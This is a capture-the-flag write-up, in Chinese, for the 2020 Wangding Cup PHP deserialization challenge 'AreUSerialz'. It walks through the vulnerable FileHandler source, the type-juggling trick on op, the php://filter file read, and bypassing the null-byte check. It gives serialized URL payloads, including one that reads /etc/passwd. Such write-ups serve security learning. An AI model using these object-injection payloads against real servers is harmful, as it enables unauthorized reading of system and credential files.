[网鼎杯 2020 青龙组]AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
PHP反序列化漏洞,比赛的时候做出来了,在buuoj上再复现记录一下。
查看代码可以看出来,GET方式传入序列化的str字符串,str字符串中每一个字符的ASCII范围在32到125之间,然后对其反序列化。
在反序列化的过程中,调用__destruct析构方法
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
如果op==="2",将其赋为"1",同时content赋为空,进入process函数,需要注意到的地方是,这里op与"2"比较的时候是强类型比较
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
进入process函数后,如果op=="1",则进入write函数,若op=="2",则进入read函数,否则输出报错,可以看出来这里op与字符串的比较变成了弱类型比较==。
所以我们只要令op=2,这里的2是整数int。当op=2时,op==="2"为false,op=="2"为true,接着进入read函数
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
filename是我们可以控制的,接着使用file_get_contents函数读取文件,我们此处借助php://filter伪协议读取文件,获取到文件后使用output函数输出
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
整个利用思路就很明显了,还有一个需要注意的地方是,$op,$filename,$content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid函数校验。
<?php
class FileHandler {
protected $op=2;
protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
// $this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
// $this->process();
}
}
$A=new FileHandler();
$B=serialize($A);
echo $B;
运行之后,这三个箭头指向的地方字符显示不正确的地方就是%00字符

在这里有几种绕过的方式,简单的一种是:php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可
即:
public $op=2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
现在得到的结果就没有%00字符了

buuoj平台复现的话使用上面这个payload就已经可以读取flag了:
http://82f3c803-c285-4d4c-846c-59d240b730e0.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;s:7:%22content%22;N;}

比赛的时候还有相对路径和绝对路径的问题,需要拿到绝对路径才能读取flag
可以先尝试读取/etc/passwd检验自己的payload是否正确,然后再读取服务器上的配置文件,猜出flag.php所在的绝对路径,再将其读取。
http://82f3c803-c285-4d4c-846c-59d240b730e0.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:60:%22php://filter/read=convert.base64-encode/resource=/etc/passwd%22;s:7:%22content%22;N;}
下面这个payload是比赛的时候用的,buuoj上环境路径不一样。
http://82f3c803-c285-4d4c-846c-59d240b730e0.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:67:%22php://filter/read=convert.base64-encode/resource=/web/html/flag.php%22;s:7:%22content%22;N;}
以上。